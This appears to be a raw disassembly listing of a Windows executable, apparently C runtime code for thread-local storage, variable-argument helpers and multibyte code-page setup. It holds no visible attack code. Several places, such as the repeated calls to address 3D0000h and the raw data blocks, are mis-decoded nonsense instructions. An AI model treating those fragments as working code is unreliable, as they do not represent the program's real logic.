sub_425AF0	proc near		; CODE XREF: sub_424CB0+218p
					; sub_424CB0+27Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	eax, [ecx-4]
		pop	ebp
		retn
sub_425AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B10	proc near		; CODE XREF: sub_424CB0+7D5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	ecx, 8
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		pop	ebp
		retn
sub_425B10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B30	proc near		; CODE XREF: sub_424CB0+3B2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ax, [ecx-4]
		pop	ebp
		retn
sub_425B30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B50	proc near		; CODE XREF: seg000:loc_420BC4p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4219A0
		call	ds:dword_4F1470	; TlsAlloc
		mov	ds:dword_450040, eax
		cmp	ds:dword_450040, 0FFFFFFFFh
		jnz	short loc_425B71
		xor	eax, eax
		jmp	short loc_425BCE
; ---------------------------------------------------------------------------


loc_425B71:				; CODE XREF: sub_425B50+1Bj
		push	61h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_41B270
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_425BA4
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, ds:dword_450040
		push	ecx
		call	ds:dword_4F146C	; TlsSetValue
		test	eax, eax
		jnz	short loc_425BA8


loc_425BA4:				; CODE XREF: sub_425B50+3Dj
		xor	eax, eax
		jmp	short loc_425BCE
; ---------------------------------------------------------------------------


loc_425BA8:				; CODE XREF: sub_425B50+52j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_425C10
		add	esp, 4
		call	near ptr 3D0000h
		push	es
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		mov	eax, 1


loc_425BCE:				; CODE XREF: sub_425B50+1Fj
					; sub_425B50+56j
		mov	esp, ebp
		pop	ebp
		retn
sub_425B50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_4219E0
		cmp	ds:dword_450040, 0FFFFFFFFh
		jz	short loc_425C07
		mov	eax, ds:dword_450040
		push	eax
		call	ds:dword_4F1474	; TlsFree
		mov	ds:dword_450040, 0FFFFFFFFh


loc_425C07:				; CODE XREF: seg000:00425BEFj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C10	proc near		; CODE XREF: sub_425B50+5Cp
					; sub_425C30+5Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+50h], offset dword_450578
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+14h], 1
		pop	ebp
		retn
sub_425C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C30	proc near		; CODE XREF: sub_41D6B0+Cp
					; sub_41DB90+3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		mov	eax, ds:dword_450040
		push	eax
		call	ds:dword_4F147C	; TlsGetValue
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_425CB7
		push	0E7h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_41B270
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_425CAD
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, ds:dword_450040
		push	edx
		call	ds:dword_4F146C	; TlsSetValue
		test	eax, eax
		jz	short loc_425CAD
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_425C10
		add	esp, 4
		call	near ptr 3D0000h
		imul	ecx, [ebx+189FC4Dh], -75h
		push	ebp
		cld
		mov	dword ptr [edx+4], 0FFFFFFFFh
		jmp	short loc_425CB7
; ---------------------------------------------------------------------------


loc_425CAD:				; CODE XREF: sub_425C30+43j
					; sub_425C30+58j
		push	10h
		call	sub_420CA0
		add	esp, 4


loc_425CB7:				; CODE XREF: sub_425C30+22j
					; sub_425C30+7Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4F1478	; RtlSetLastWin32Error
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_425C30	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_450040, 0FFFFFFFFh
		jz	loc_425DD5
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_425CF5
		mov	eax, ds:dword_450040
		push	eax
		call	ds:dword_4F147C	; TlsGetValue
		mov	[ebp+8], eax


loc_425CF5:				; CODE XREF: seg000:00425CE4j
		cmp	dword ptr [ebp+8], 0
		jz	loc_425DC6
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_425D19
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+24h]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_425D19:				; CODE XREF: seg000:00425D06j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+28h], 0
		jz	short loc_425D33
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_425D33:				; CODE XREF: seg000:00425D20j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+30h], 0
		jz	short loc_425D4D
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_425D4D:				; CODE XREF: seg000:00425D3Aj
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+38h], 0
		jz	short loc_425D67
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+38h]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_425D67:				; CODE XREF: seg000:00425D54j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+40h], 0
		jz	short loc_425D81
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_425D81:				; CODE XREF: seg000:00425D6Ej
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+44h], 0
		jz	short loc_425D9B
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+44h]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_425D9B:				; CODE XREF: seg000:00425D88j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+50h], offset dword_450578
		jz	short loc_425DB8
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_425DB8:				; CODE XREF: seg000:00425DA5j
		push	2
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41B8F0
		add	esp, 8


loc_425DC6:				; CODE XREF: seg000:00425CF9j
		push	0
		mov	edx, ds:dword_450040
		push	edx
		call	ds:dword_4F146C	; TlsSetValue


loc_425DD5:				; CODE XREF: seg000:00425CDAj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	near ptr 3D0000h
		push	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	near ptr 3D0000h
		inc	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_425E00:				; CODE XREF: sub_4265E0+Ep
		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	19h
		call	sub_421A80
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	loc_426150
		add	esp, 4
		mov	[ebp+8], eax
		mov	ecx, [ebp+8]
		cmp	ecx, ds:dword_4EEE24
		jnz	short loc_425E3B
		push	19h
		call	sub_421B20
		add	esp, 4
		xor	eax, eax
		jmp	loc_426140
; ---------------------------------------------------------------------------


loc_425E3B:				; CODE XREF: seg000:00425E28j
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_425E5C
		call	sub_426230
		call	sub_4262B0
		push	19h
		call	sub_421B20
		add	esp, 4
		xor	eax, eax
		jmp	loc_426140
; ---------------------------------------------------------------------------


loc_425E5C:				; CODE XREF: seg000:00425E3Fj
		mov	dword ptr [ebp-4], 0
		jmp	short loc_425E6E
; ---------------------------------------------------------------------------


loc_425E65:				; CODE XREF: seg000:loc_425FBAj
		mov	edx, [ebp-4]
		add	edx, 1
		mov	[ebp-4], edx


loc_425E6E:				; CODE XREF: seg000:00425E63j
		cmp	dword ptr [ebp-4], 5
		jnb	loc_425FBF
		mov	eax, [ebp-4]
		imul	eax, 30h
		mov	ecx, ds:dword_450050[eax]
		cmp	ecx, [ebp+8]
		jnz	loc_425FBA
		mov	dword ptr [ebp-24h], 0
		jmp	short loc_425E9F
; ---------------------------------------------------------------------------


loc_425E96:				; CODE XREF: seg000:00425EB2j
		mov	edx, [ebp-24h]
		add	edx, 1
		mov	[ebp-24h], edx


loc_425E9F:				; CODE XREF: seg000:00425E94j
		cmp	dword ptr [ebp-24h], 101h
		jnb	short loc_425EB4
		mov	eax, [ebp-24h]
		mov	ds:byte_4EEF40[eax], 0
		jmp	short loc_425E96
; ---------------------------------------------------------------------------


loc_425EB4:				; CODE XREF: seg000:00425EA6j
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_425EC6
; ---------------------------------------------------------------------------


loc_425EBD:				; CODE XREF: seg000:loc_425F42j
		mov	ecx, [ebp-0Ch]
		add	ecx, 1
		mov	[ebp-0Ch], ecx


loc_425EC6:				; CODE XREF: seg000:00425EBBj
		cmp	dword ptr [ebp-0Ch], 4
		jnb	short loc_425F47
		mov	edx, [ebp-4]
		imul	edx, 30h
		mov	eax, [ebp-0Ch]
		lea	ecx, dword_450060[edx+eax*8]
		mov	[ebp-8], ecx
		jmp	short loc_425EEA
; ---------------------------------------------------------------------------


loc_425EE1:				; CODE XREF: seg000:loc_425F40j
		mov	edx, [ebp-8]
		add	edx, 2
		mov	[ebp-8], edx


loc_425EEA:				; CODE XREF: seg000:00425EDFj
		mov	eax, [ebp-8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_425F42
		mov	edx, [ebp-8]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_425F42
		mov	ecx, [ebp-8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp-24h], edx
		jmp	short loc_425F16
; ---------------------------------------------------------------------------


loc_425F0D:				; CODE XREF: seg000:00425F3Ej
		mov	eax, [ebp-24h]
		add	eax, 1
		mov	[ebp-24h], eax


loc_425F16:				; CODE XREF: seg000:00425F0Bj
		mov	ecx, [ebp-8]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp-24h], edx
		ja	short loc_425F40
		mov	eax, [ebp-24h]
		mov	ecx, [ebp-0Ch]
		mov	dl, ds:byte_4EEF41[eax]
		or	dl, ds:byte_450048[ecx]
		mov	eax, [ebp-24h]
		mov	ds:byte_4EEF41[eax], dl
		jmp	short loc_425F0D
; ---------------------------------------------------------------------------


loc_425F40:				; CODE XREF: seg000:00425F21j
		jmp	short loc_425EE1
; ---------------------------------------------------------------------------


loc_425F42:				; CODE XREF: seg000:00425EF3j
					; seg000:00425EFFj
		jmp	loc_425EBD
; ---------------------------------------------------------------------------


loc_425F47:				; CODE XREF: seg000:00425ECAj
		mov	ecx, [ebp+8]
		mov	ds:dword_4EEE24, ecx
		mov	ds:dword_4EEE3C, 1 ; CODE XREF:	seg000:00425FCCj
		mov	edx, ds:dword_4EEE24
		push	edx
		call	sub_4261B0
		add	esp, 4
		mov	ds:dword_4EF044, eax
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_425F80
; ---------------------------------------------------------------------------


loc_425F77:				; CODE XREF: seg000:00425FA2j
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_425F80:				; CODE XREF: seg000:00425F75j
		cmp	dword ptr [ebp-0Ch], 6
		jnb	short loc_425FA4
		mov	ecx, [ebp-4]
		imul	ecx, 30h
		mov	edx, [ebp-0Ch]
		mov	eax, [ebp-0Ch]
		mov	cx, ds:word_450054[ecx+eax*2]
		mov	ds:word_4EEE30[edx*2], cx
		jmp	short loc_425F77
; ---------------------------------------------------------------------------


loc_425FA4:				; CODE XREF: seg000:00425F84j
		call	sub_4262B0
		push	19h
		call	sub_421B20
		add	esp, 4
		xor	eax, eax
		jmp	loc_426140
; ---------------------------------------------------------------------------


loc_425FBA:				; CODE XREF: seg000:00425E87j
		jmp	loc_425E65
; ---------------------------------------------------------------------------


loc_425FBF:				; CODE XREF: seg000:00425E72j
		lea	edx, [ebp-20h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	near ptr 3D0000h
		jno	short near ptr loc_425F50+1
		clc
		add	[edi], ecx
		test	[ecx+eax], edi
; ---------------------------------------------------------------------------
		dd 45C70000h, 0DCh, 8B09EB00h, 0C183DC4Dh, 0DC4D8901h
		dd 1DC7D81h, 73000001h,	0DC558B0Ch, 0EF4082C6h,	0EB00004Eh
		dd 8458BE2h, 4EEE24A3h,	4405C700h, 4EF0h, 83000000h, 0F01E07Dh
		dd 0B586h, 0E64D8D00h, 0EBD84D89h, 0D8558B09h, 8902C283h
		dd 458BD855h, 8AC933D8h, 74C98508h, 0D8558B47h,	428AC033h
		dd 74C08501h, 0D84D8B3Bh, 118AD233h, 0EBDC5589h, 0DC458B09h
		dd 8901C083h, 4D8BDC45h, 8AD233D8h, 55390151h, 8B1777DCh
		dd 888ADC45h, 4EEF41h, 8B04C980h, 8A88DC55h, 4EEF41h, 0A5EBD3EBh
		dd 1DC45C7h, 0EB000000h, 0DC458B09h, 8901C083h,	7D81DC45h
		dd 0FFDCh, 8B177300h, 918ADC4Dh, 4EEF41h, 8B08CA80h, 9088DC45h
		dd 4EEF41h, 0D8BD7EBh, 4EEE24h,	0F6E851h, 0C4830000h, 0F044A304h
		dd 5C7004Eh, 4EEE3Ch, 1, 5C70AEBh, 4EEE3Ch, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_4260EA
; ---------------------------------------------------------------------------


loc_4260E1:				; CODE XREF: seg000:004260FDj
		mov	edx, [ebp-0Ch]
		add	edx, 1
		mov	[ebp-0Ch], edx


loc_4260EA:				; CODE XREF: seg000:004260DFj
		cmp	dword ptr [ebp-0Ch], 6
		jnb	short loc_4260FF
		mov	eax, [ebp-0Ch]
		mov	ds:word_4EEE30[eax*2], 0
		jmp	short loc_4260E1
; ---------------------------------------------------------------------------


loc_4260FF:				; CODE XREF: seg000:004260EEj
		call	sub_4262B0
		push	19h
		call	sub_421B20
		add	esp, 4
		xor	eax, eax
		jmp	short loc_426140
; ---------------------------------------------------------------------------
		cmp	ds:dword_4EEA50, 0
		jz	short loc_426133
		call	sub_426230
		call	sub_4262B0
		push	19h
		call	sub_421B20
		add	esp, 4
		xor	eax, eax
		jmp	short loc_426140
; ---------------------------------------------------------------------------


loc_426133:				; CODE XREF: seg000:00426119j
		push	19h
		call	sub_421B20
		add	esp, 4
		or	eax, 0FFFFFFFFh


loc_426140:				; CODE XREF: seg000:00425E36j
					; seg000:00425E57j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_426150:				; CODE XREF: seg000:00425E14p
		push	ebp
		mov	ebp, esp
		mov	ds:dword_4EEA50, 0
		cmp	dword ptr [ebp+8], 0FFFFFFFEh
		jnz	short loc_426175
		mov	ds:dword_4EEA50, 1
		call	near ptr 3D0000h
; ---------------------------------------------------------------------------
		dw 0EBDAh
		db 32h
; ---------------------------------------------------------------------------


loc_426175:				; CODE XREF: seg000:00426161j
		cmp	dword ptr [ebp+8], 0FFFFFFFDh
		jnz	short loc_42618D
		mov	ds:dword_4EEA50, 1
		call	near ptr 3D0000h
		dec	ebp
		jmp	short loc_4261A7
; ---------------------------------------------------------------------------


loc_42618D:				; CODE XREF: seg000:00426179j
		cmp	dword ptr [ebp+8], 0FFFFFFFCh
		jnz	short loc_4261A4
		mov	ds:dword_4EEA50, 1
		mov	eax, ds:dword_4EEA80
		jmp	short loc_4261A7
; ---------------------------------------------------------------------------


loc_4261A4:				; CODE XREF: seg000:00426191j
		mov	eax, [ebp+8]


loc_4261A7:				; CODE XREF: seg000:0042618Bj
					; seg000:004261A2j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261B0	proc near		; CODE XREF: seg000:00425F61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 3A4h
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 12h
		ja	short loc_4261FA
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	dl, ds:byte_426214[eax]
		jmp	ds:off_426200[edx*4]


loc_4261DE:				; DATA XREF: seg000:off_426200o
		mov	eax, 411h
		jmp	short loc_4261FC
; ---------------------------------------------------------------------------


loc_4261E5:				; CODE XREF: sub_4261B0+27j
					; DATA XREF: seg000:00426204o
		mov	eax, 804h
		jmp	short loc_4261FC
; ---------------------------------------------------------------------------


loc_4261EC:				; CODE XREF: sub_4261B0+27j
					; DATA XREF: seg000:00426208o
		mov	eax, 412h
		jmp	short loc_4261FC
; ---------------------------------------------------------------------------


loc_4261F3:				; CODE XREF: sub_4261B0+27j
					; DATA XREF: seg000:0042620Co
		mov	eax, 404h
		jmp	short loc_4261FC
; ---------------------------------------------------------------------------


loc_4261FA:				; CODE XREF: sub_4261B0+1Aj
					; sub_4261B0+27j
					; DATA XREF: ...
		xor	eax, eax


loc_4261FC:				; CODE XREF: sub_4261B0+33j
					; sub_4261B0+3Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4261B0	endp

; ---------------------------------------------------------------------------
off_426200	dd offset loc_4261DE	; DATA XREF: sub_4261B0+27r
		dd offset loc_4261E5
		dd offset loc_4261EC
		dd offset loc_4261F3
		dd offset loc_4261FA
byte_426214	db 0			; DATA XREF: sub_4261B0+21r
		db 3 dup(4)
		dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426230	proc near		; CODE XREF: seg000:00425E41p
					; seg000:0042611Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_426246
; ---------------------------------------------------------------------------


loc_42623D:				; CODE XREF: sub_426230+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_426246:				; CODE XREF: sub_426230+Bj
		cmp	[ebp+var_4], 101h
		jge	short loc_42625B
		mov	ecx, [ebp+var_4]
		mov	ds:byte_4EEF40[ecx], 0
		jmp	short loc_42623D
; ---------------------------------------------------------------------------


loc_42625B:				; CODE XREF: sub_426230+1Dj
		mov	ds:dword_4EEE24, 0
		mov	ds:dword_4EEE3C, 0
		mov	ds:dword_4EF044, 0
		mov	[ebp+var_4], 0
		jmp	short loc_42628B
; ---------------------------------------------------------------------------


loc_426282:				; CODE XREF: sub_426230+6Ej
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42628B:				; CODE XREF: sub_426230+50j
		cmp	[ebp+var_4], 6
		jge	short loc_4262A0
		mov	eax, [ebp+var_4]
		mov	ds:word_4EEE30[eax*2], 0
		jmp	short loc_426282
; ---------------------------------------------------------------------------


loc_4262A0:				; CODE XREF: sub_426230+5Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_426230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4262B0	proc near		; CODE XREF: seg000:00425E46p
					; seg000:loc_425FA4p ...

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_418		= byte ptr -418h
var_318		= byte ptr -318h
var_312		= byte ptr -312h
var_304		= byte ptr -304h
var_204		= word ptr -204h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 51Ch
		lea	eax, [ebp+var_318]
		push	eax
		mov	ecx, ds:dword_4EEE24
		push	ecx
		call	near ptr 3D0000h
		push	cs
		cmp	eax, 1
		jnz	loc_4264E9
		mov	[ebp+var_51C], 0
		jmp	short loc_4262F1
; ---------------------------------------------------------------------------


loc_4262E2:				; CODE XREF: sub_4262B0+60j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_4262F1:				; CODE XREF: sub_4262B0+30j
		cmp	[ebp+var_51C], 100h
		jnb	short loc_426312
		mov	eax, [ebp+var_51C]
		mov	cl, byte ptr [ebp+var_51C]
		mov	[ebp+eax+var_304], cl
		jmp	short loc_4262E2
; ---------------------------------------------------------------------------


loc_426312:				; CODE XREF: sub_4262B0+4Bj
		mov	[ebp+var_304], 20h
		lea	edx, [ebp+var_312]
		mov	[ebp+var_4], edx
		jmp	short loc_42632D
; ---------------------------------------------------------------------------


loc_426324:				; CODE XREF: sub_4262B0:loc_426376j
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax


loc_42632D:				; CODE XREF: sub_4262B0+72j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_426378
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_51C], ecx
		jmp	short loc_426356
; ---------------------------------------------------------------------------


loc_426347:				; CODE XREF: sub_4262B0+C4j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_426356:				; CODE XREF: sub_4262B0+95j
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_51C], ecx
		ja	short loc_426376
		mov	edx, [ebp+var_51C]
		mov	[ebp+edx+var_304], 20h
		jmp	short loc_426347
; ---------------------------------------------------------------------------


loc_426376:				; CODE XREF: sub_4262B0+B4j
		jmp	short loc_426324
; ---------------------------------------------------------------------------


loc_426378:				; CODE XREF: sub_4262B0+86j
		push	0
		mov	eax, ds:dword_4EF044
		push	eax
		mov	ecx, ds:dword_4EEE24
		push	ecx
		lea	edx, [ebp+var_204]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	1
		call	loc_42E040
		add	esp, 1Ch
		push	0
		mov	ecx, ds:dword_4EEE24
		push	ecx
		push	100h
		lea	edx, [ebp+var_418]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	100h
		mov	ecx, ds:dword_4EF044
		push	ecx
		call	loc_42BB40
		add	esp, 20h
		push	0
		mov	edx, ds:dword_4EEE24
		push	edx
		push	100h
		lea	eax, [ebp+var_518]
		push	eax
		push	100h
		lea	ecx, [ebp+var_304]
		push	ecx
		push	200h
		mov	edx, ds:dword_4EF044
		push	edx
		call	loc_42BB40
		add	esp, 20h
		mov	[ebp+var_51C], 0
		jmp	short loc_426429
; ---------------------------------------------------------------------------


loc_42641A:				; CODE XREF: sub_4262B0:loc_4264DFj
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_426429:				; CODE XREF: sub_4262B0+168j
		cmp	[ebp+var_51C], 100h
		jnb	loc_4264E4
		mov	ecx, [ebp+var_51C]
		xor	edx, edx
		mov	dx, [ebp+ecx*2+var_204]
		and	edx, 1
		test	edx, edx
		jz	short loc_426486
		mov	eax, [ebp+var_51C]
		mov	cl, ds:byte_4EEF41[eax]
		or	cl, 10h
		mov	edx, [ebp+var_51C]
		mov	ds:byte_4EEF41[edx], cl
		mov	eax, [ebp+var_51C]
		mov	ecx, [ebp+var_51C]
		mov	dl, [ebp+ecx+var_418]
		mov	ds:byte_4EEE40[eax], dl
		jmp	short loc_4264DF
; ---------------------------------------------------------------------------


loc_426486:				; CODE XREF: sub_4262B0+19Ej
		mov	eax, [ebp+var_51C]
		xor	ecx, ecx
		mov	cx, [ebp+eax*2+var_204]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_4264D2
		mov	edx, [ebp+var_51C]
		mov	al, ds:byte_4EEF41[edx]
		or	al, 20h
		mov	ecx, [ebp+var_51C]
		mov	ds:byte_4EEF41[ecx], al
		mov	edx, [ebp+var_51C]
		mov	eax, [ebp+var_51C]
		mov	cl, [ebp+eax+var_518]
		mov	ds:byte_4EEE40[edx], cl
		jmp	short loc_4264DF
; ---------------------------------------------------------------------------


loc_4264D2:				; CODE XREF: sub_4262B0+1EBj
		mov	edx, [ebp+var_51C]
		mov	ds:byte_4EEE40[edx], 0


loc_4264DF:				; CODE XREF: sub_4262B0+1D4j
					; sub_4262B0+220j
		jmp	loc_42641A
; ---------------------------------------------------------------------------


loc_4264E4:				; CODE XREF: sub_4262B0+183j
		jmp	loc_4265AE
; ---------------------------------------------------------------------------


loc_4264E9:				; CODE XREF: sub_4262B0+20j
		mov	[ebp+var_51C], 0
		jmp	short loc_426504
; ---------------------------------------------------------------------------


loc_4264F5:				; CODE XREF: sub_4262B0:loc_4265A9j
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_426504:				; CODE XREF: sub_4262B0+243j
		cmp	[ebp+var_51C], 100h
		jnb	loc_4265AE
		cmp	[ebp+var_51C], 41h
		jb	short loc_426558
		cmp	[ebp+var_51C], 5Ah
		ja	short loc_426558
		mov	ecx, [ebp+var_51C]
		mov	dl, ds:byte_4EEF41[ecx]
		or	dl, 10h
		mov	eax, [ebp+var_51C]
		mov	ds:byte_4EEF41[eax], dl
		mov	ecx, [ebp+var_51C]
		add	ecx, 20h
		mov	edx, [ebp+var_51C]
		mov	ds:byte_4EEE40[edx], cl
		jmp	short loc_4265A9
; ---------------------------------------------------------------------------


loc_426558:				; CODE XREF: sub_4262B0+26Bj
					; sub_4262B0+274j
		cmp	[ebp+var_51C], 61h
		jb	short loc_42659C
		cmp	[ebp+var_51C], 7Ah
		ja	short loc_42659C
		mov	eax, [ebp+var_51C]
		mov	cl, ds:byte_4EEF41[eax]
		or	cl, 20h
		mov	edx, [ebp+var_51C]
		mov	ds:byte_4EEF41[edx], cl
		mov	eax, [ebp+var_51C]
		sub	eax, 20h
		mov	ecx, [ebp+var_51C]
		mov	ds:byte_4EEE40[ecx], al
		jmp	short loc_4265A9
; ---------------------------------------------------------------------------


loc_42659C:				; CODE XREF: sub_4262B0+2AFj
					; sub_4262B0+2B8j
		mov	edx, [ebp+var_51C]
		mov	ds:byte_4EEE40[edx], 0


loc_4265A9:				; CODE XREF: sub_4262B0+2A6j
					; sub_4262B0+2EAj
		jmp	loc_4264F5
; ---------------------------------------------------------------------------


loc_4265AE:				; CODE XREF: sub_4262B0:loc_4264E4j
					; sub_4262B0+25Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_4262B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4EEE3C, 0
		jz	short loc_4265D3
		mov	eax, ds:dword_4EEE24
		jmp	short loc_4265D5
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: seg000:004265CAj
		xor	eax, eax


loc_4265D5:				; CODE XREF: seg000:004265D1j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265E0	proc near		; CODE XREF: sub_42C0C0+Dp
					; sub_42C180+Fp ...
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4F0088, 0
		jnz	short loc_426600
		push	0FFFFFFFDh
		call	loc_425E00
		add	esp, 4
		mov	ds:dword_4F0088, 1


loc_426600:				; CODE XREF: sub_4265E0+Aj
		pop	ebp
		retn
sub_4265E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426610	proc near		; CODE XREF: sub_41DC60+41p
					; sub_41DC60+11Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
